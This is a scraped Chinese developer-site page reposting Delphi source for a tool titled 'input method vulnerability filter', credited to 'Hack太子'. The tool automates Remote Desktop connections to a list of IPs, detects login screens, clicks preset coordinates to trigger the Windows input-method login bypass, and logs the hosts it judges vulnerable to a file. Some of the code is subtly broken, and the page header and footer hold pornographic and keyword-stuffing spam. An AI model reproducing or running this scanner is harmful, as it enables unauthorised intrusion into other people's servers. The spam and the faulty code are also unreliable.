国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

利用極品五筆刷QB程序原代碼

2019-11-18 17:58:49
字體:
來源:轉載
供稿:網友
//----------------------------------------------------------
//         輸入發漏洞程序1.0
file://----------------------------------------------------------

unit pApp;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Menus, ComCtrls;
file://定義鍵盤動作類
type
  TKAction = (CTAB, TAB_F4, ENTER, ALT_U);
type
TfrmMain = class(TForm)
  OpenDlg: TOpenDialog;
  Panel1: TPanel;
  btnOpen: TButton;
  PRogressBar1: TProgressBar;
  btnStop: TButton;
  btnPause: TButton;
  btnSetting: TButton;
  btnAbout: TButton;
  GroupBox1: TGroupBox;
  btnStart: TButton;
  timLoop: TTimer;
  GroupBox3: TGroupBox;
  TrackBar1: TTrackBar;
  Label3: TLabel;
  edtAppPath: TEdit;
  btnAppPath: TButton;
  edtSavePath: TEdit;
  btnSavePath: TButton;
  Label4: TLabel;
  Label5: TLabel;
  chkAutoEnd: TCheckBox;
  GroupBox2: TGroupBox;
  Image1: TImage;
  Label1: TLabel;
  Label2: TLabel;
  btnHelp: TButton;
  chkAutoipText: TCheckBox;
  timWait: TTimer;
  SaveDlg: TSaveDialog;
  OpenAppDlg: TOpenDialog;
  memIP: TMemo;
  lblWeb: TLabel;
  timKeyAction: TTimer;
  procedure FormCreate(Sender: TObject);
  procedure btnSettingClick(Sender: TObject);
  procedure btnAboutClick(Sender: TObject);
  procedure btnOpenClick(Sender: TObject);
  procedure btnStartClick(Sender: TObject);
  procedure timLoopTimer(Sender: TObject);
  procedure TrackBar1Change(Sender: TObject);
  procedure btnStopClick(Sender: TObject);
  procedure timWaitTimer(Sender: TObject);
  procedure timKeyActionTimer(Sender: TObject);
private
  function GetSysDir: String;
 
  function Get_Remote_Hwnd: HWND;
  function Get_IPBox_Hwnd: THandle;
  function Get_ConnectHwnd: HWND;
  procedure Set_IPText(IPbox: THandle; IP: String);
  function GetCloseHwnd: HWND;
  function Get_IntermitFrmHwnd(Name: String): HWND;
  procedure ReadIPFiles(Line: Integer);
  procedure ReadTomemIP(IPPath: String);
  function Get_EnterBox: HWND;
  procedure SendKeyboard(KA: TKAction);
  procedure Sendmose(a, x, y: Integer);
  function GetColor(x, y: Integer): Integer;
  procedure WriteIP(s, FileName: String);
  procedure CreateIPFile(FileName: String);
  { Private declarations }
public
  { Public declarations }
end;

var
frmMain: TfrmMain;
Waittime, I: Integer;   file://聲明等待時間&累加變量
Howline: Integer;       file://聲明總行數
K: Integer;           file://聲明行數累加變量
IPFilePath: String;     file://導入IP文件路徑
Str: String;
hEnterBox: HWND;       file://定義登陸筐句柄
KeyTime: Integer;       file://定義模擬鍵盤累加值
WIP: String;         file://定義紀錄寫入的IP是否相同
implementation

{$R *.dfm}

procedure TfrmMain.FormCreate(Sender: TObject);
begin
file://初始化屬性
  frmMain.Font.Name := '宋體';
  frmMain.Font.Size := 9;
  frmMain.Caption := '輸入法漏洞過濾程序[中國起點網絡安全小組]';
  btnOpen.Caption := '導入IP';
  btnStart.Caption := '開始';
  btnPause.Caption := '暫停';
  btnStop.Caption := '停止';
  btnSetting.Caption := '設置';
  btnAbout.Caption := '關于';
  frmMain.ClientWidth := 409;
  frmMain.ClientHeight := 95;
  GroupBox1.Visible := False;
  GroupBox2.Visible := False;
  Label1.Caption := '輸入法漏洞過濾1.0' + #13 +
              '版權:Hack太子 所有' + #13 +
              'QQ:78730710' + #13 +
              'QQ:2711997';
  btnStart.Enabled := False;
  btnStop.Enabled := False;
  btnPause.Enabled := False;
  Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
  Waittime := TrackBar1.Position; file://初始化等待時間值
end;

procedure TfrmMain.btnSettingClick(Sender: TObject);
begin
  if btnSetting.Caption = '設置' then
  begin
    btnSetting.Caption := '隱藏';
    frmMain.ClientHeight := 223;
    GroupBox2.Visible := False;
    GroupBox1.Visible := True
  end else
  begin
    btnSetting.Caption := '設置';
    GroupBox1.Visible := False;
    frmMain.ClientHeight := 95;
  end;
end;

procedure TfrmMain.btnAboutClick(Sender: TObject);
begin
  ShowMessage(IntToStr(Get_Enterbox));
  ShowMessage(str);
  if btnAbout.Caption = '關于' then
  begin
    btnAbout.Caption := '隱藏';
    FrmMain.ClientHeight := 223;
    GroupBox1.Visible := False;
    GroupBox2.Visible := True;
  end else
  begin
    btnAbout.Caption := '關于';
    GroupBox2.Visible := False;
    FrmMain.ClientHeight := 95;
  end;
end;

file://單擊打開按鈕執行以下部分
procedure TfrmMain.btnOpenClick(Sender: TObject);
begin
  if OpenDlg.Execute then
  begin
    IPFilePath := OpenDlg.FileName;
  end;
  if IPFilePath = '' then
    Exit
  else
  begin
    btnStart.Enabled := True;
  end;







end;
file://獲取系統所在目錄
function TfrmMain.GetSysDir: String;
var
  SysDir: PChar;
begin
  GetMem(SysDir, MAX_PATH);
  GetSystemDirectory(SysDir, MAX_PATH);
  Result := StrPas(SysDir);
  FreeMem(SysDir, MAX_PATH);
end;
file://獲取遠程桌面程序窗口句柄
function TfrmMain.Get_Remote_Hwnd: HWND;
var
  RHwnd: HWND;
begin
  RHwnd := FindWindow('#32770', '遠程桌面連接');
  if RHwnd <> 0 then
    Result := RHwnd
  else
    Result := 0;
end;
file://獲取IP輸入筐句柄
function TfrmMain.Get_IPBox_Hwnd: THandle;
var
  IPBoxHwnd: THandle;
begin
  IPBoxHwnd := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            'ComboBoxEx32',
            nil
            );
  if IPBoxHwnd <> 0 then
    Result := IPBoxHwnd
  else
    Result := IPBoxHwnd;
end;
file://向IP地址輸入筐中發送IP地址字符串
procedure TfrmMain.Set_IPText(IPbox: THandle; IP: String);
var
  IPText: PChar;
  IPBuf: Integer;
begin
  GetMem(IPText, Length(IP));
  StrCopy(IPText, PChar(IP));
  try
    IPBuf := LongInt(IPText);
    SendMessage(
        IPbox,
        WM_SETTEXT,
        0,
        IPBuf
        );
  finally
    FreeMem(IPText, Length(IP));
  end;
end;
file://獲取連接按鈕句柄
function TfrmMain.Get_ConnectHwnd: HWND;
var
  BtnHwnd: HWND;
begin
  BtnHwnd := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            'Button',
            '連接(&N)'
            );
  if BtnHwnd <> 0 then
    Result := BtnHwnd
  else
    Result := 0;
end;
file://獲取取消按鈕句柄
function TfrmMain.GetCloseHwnd: HWND;
var
  BtnClose: HWND;
begin
  BtnClose := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            'Button',
            '取消',
            );
  if BtnClose <> 0 then
    Result := BtnClose
  else
    Result := 0;
end;
file://獲取中斷網絡連接窗口句柄&該窗口確認按鈕句柄
function TfrmMain.Get_IntermitFrmHwnd(Name: String): HWND;
var
  FrmHwnd: HWND;
  BtnHwnd: HWND;
begin
  if (Name = 'F') or (Name = 'f') then
  begin
    FrmHwnd := FindWindow('#32770', '中斷遠程桌面連接');
    if FrmHwnd <> 0 then
        Result := FrmHwnd
    else
        Result := 0;
  end;
  if (Name = 'B') or (Name = 'b') then
  begin
    BtnHwnd := FindWindowEx(
                FindWindow('#32770', '中斷遠程桌面連接'),
                0,
                'Button',
                '確定',
                );
    if BtnHwnd <> 0 then
        Result := BtnHwnd
    else
        Result := BtnHwnd;
  end;
end;
file://把IP文件讀入Memo控件
procedure TfrmMain.ReadTomemIP(IPPath: String);
var
  TF: TextFile;
  IPStr: String;
begin
  memIP.Clear;
  if FileExists(IPPath) then
  begin
    AssignFile(TF, IPPath);
    Reset(TF);
    while not Eof(TF) do
    begin
        Readln(TF, IPStr);
        memIP.Lines.Add(IPStr);
    end;
    CloseFile(TF);
  end else
  begin
    ShowMessage('請導入IP文件');
  end;

end;





file://讀入Memo中IP并連接
procedure TfrmMain.ReadIPFiles(Line: Integer);
begin
  Howline := memIP.Lines.Count;
  if Line <= (Howline - 1) then
  begin
    Str := memIP.Lines.Strings[Line];
        Set_IPText(Get_IPBox_Hwnd, Str);
        SendMessage(
          Get_ConnectHwnd,
          WM_LBUTTONDOWN,
          MK_LBUTTON,
          0
          );
        SendMessage(
          Get_ConnectHwnd,
          WM_LBUTTONUP,
          0,
          0
          );
  end else
  begin
    timWait.Enabled := False;
    timLoop.Enabled := False;
    MessageBox(
        frmMain.Handle,
        'IP已經全部過濾',
          '輸入法漏洞過濾程序',
        MB_OK + MB_ICONINFORMATION
        );
  end;
end;

file://取得登陸窗口句柄
function TfrmMain.Get_EnterBox: HWND;
var
  Ebox: HWND;
  sIP: String;
begin
  sIP := Str + ' - 遠程桌面';
  Ebox := FindWindow('TSSHELLWND', PChar(sIP));
  if Ebox <> 0 then
    Result := Ebox
  else
    Result := 0;
end;
file://寫入過濾后的IP
procedure TfrmMain.WriteIP(s, FileName: String);
var
  TF: TextFile;
  IP: String;
begin
  WIP := s;
  if FileExists(FileName) then
  begin
    if s <> WIP then
    begin
        AssignFile(TF, FileName );
        Append(TF);
        Writeln(TF, s);
        CloseFile(TF);
    end;
  end;
end;file://創建保存過濾后IP的文件
procedure TfrmMain.CreateIPFile(FileName: String);
var
  fHwnd: Integer;
  TF: TextFile;
begin
  if not FileExists(FileName) then
  begin
    fHwnd := FileCreate(FileName);
    FileClose(fHwnd);
    AssignFile(TF, FileName);
    Append(TF);
    Writeln(TF, '過濾過的IP:');
    CloseFile(TF);
  end;
end;



file://單擊開始按鈕以下部分
procedure TfrmMain.btnStartClick(Sender: TObject);
begin
  WinExec(PChar(GetSysDir + '/mstsc.exe'), SW_SHOWNORMAL);
  ReadTomemIP(IPFilePath);
  timLoop.Enabled := True;
  timWait.Enabled := True;
  btnStart.Enabled := False;
  btnStop.Enabled := True;
  btnPause.Enabled := True;
  CloseWindow(frmMain.Handle);
end;
file://取得指定坐標顏色
function TfrmMain.GetColor(x, y: Integer): Integer;
var
  WindowDC: THandle;
  Color: Integer;
begin
  WindowDC := GetDC(0);
  Color := GetPixel(WindowDC, x, y);
  Result := Color;
end;

procedure TfrmMain.SendKeyboard(KA: TKAction);
begin
  if KA = CTAB then
  begin
    Keybd_event(VK_TAB, 0, 0, 0);
    Keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
  end;
end;

procedure TfrmMain.Sendmose(a, x, y: Integer);
begin
  if a = 1 then
  begin
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  end;
  if a = 2 then
  begin
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  end;
end;





procedure TfrmMain.timLoopTimer(Sender: TObject);
begin
  if Get_IntermitFrmHwnd('F') <> 0 then
  begin
    SendMessage(
        Get_IntermitFrmHwnd('B'),
        WM_LBUTTONDOWN,
        MK_LBUTTON,
        0
        );
    SendMessage(
        Get_IntermitFrmHwnd('B'),
        WM_LBUTTONUP,
        0,
        0
        );
    I := 0;
  end;
  if Get_EnterBox <> 0 then
  begin
    hEnterBox := Get_EnterBox;
    timWait.Enabled := false;
    if (TimKeyAction.Enabled <> True) then timKeyAction.Enabled := True;
  end;
  if (Get_EnterBox <> 0) and (Get_EnterBox <> hEnterBox) then
  begin
        timWait.Enabled := false;
  end;
  if GetColor(186, 570) = 16777215 then
  begin
    Sendmose(1, 1009, 10);
    Sendmose(1, 735, 13);
    CreateIPFile('c:/MyIP.txt');
    WriteIP(Str, 'c:/MyIP.txt');
    Sleep(10);
  end;


 

end;

procedure TfrmMain.TrackBar1Change(Sender: TObject);
begin
  Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
  Waittime := TrackBar1.Position;
end;

procedure TfrmMain.btnStopClick(Sender: TObject);
begin
  timLoop.Enabled := False;
  timWait.Enabled := False;
  Str := '';
  I := 0;
  K := 0;
  IPFilePath := '';
  Howline := 0;
  btnStop.Enabled := False;
  btnPause.Enabled := False;
  btnStart.Enabled := False;
  btnOpen.Enabled := True;
end;



procedure TfrmMain.timWaitTimer(Sender: TObject);
begin
  Inc(I);
  if I = Waittime then
  begin
    SendMessage(
        GetCloseHwnd,
        WM_LBUTTONDOWN,
        MK_LBUTTON,
        0
        );
    SendMessage(
        GetCloseHwnd,
        WM_LBUTTONUP,
        0,
        0
        );
    I := 0;
  end;
  if I = 1 then
  begin
    Inc(K);
    ReadIPFiles((K - 1));
  end;
end;

procedure TfrmMain.timKeyActionTimer(Sender: TObject);
begin
  Inc(KeyTime);
  case KeyTime of
    1: Sendmose(1, 495, 328);
    2: Sendmose(2, 57, 753);
    3: Sendmose(1, 54, 650);
    4: Sendmose(1, 150, 652);
    5: KeyTime := 0;
  end;
end;

end.


上一篇:TWebBrowser的常見屬性和方法

下一篇:如何在數據中能加載.JPG格式的圖片

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
學習交流
熱門圖片

新聞熱點

疑難解答

圖片精選

網友關注

主站蜘蛛池模板: 岑巩县| 万山特区| 拜泉县| 宁蒗| 博爱县| 怀仁县| 潜江市| 石嘴山市| 康乐县| 伊川县| 新泰市| 乐亭县| 贞丰县| 滦南县| 泰顺县| 天峻县| 右玉县| 哈密市| 绥中县| 龙井市| 梁山县| 玉林市| 呼伦贝尔市| 上犹县| 焦作市| 惠安县| 南川市| 太湖县| 黄陵县| 邹平县| 镇沅| 清苑县| 武冈市| 新密市| 环江| 炎陵县| 正镶白旗| 河北省| 资溪县| 永胜县| 金门县|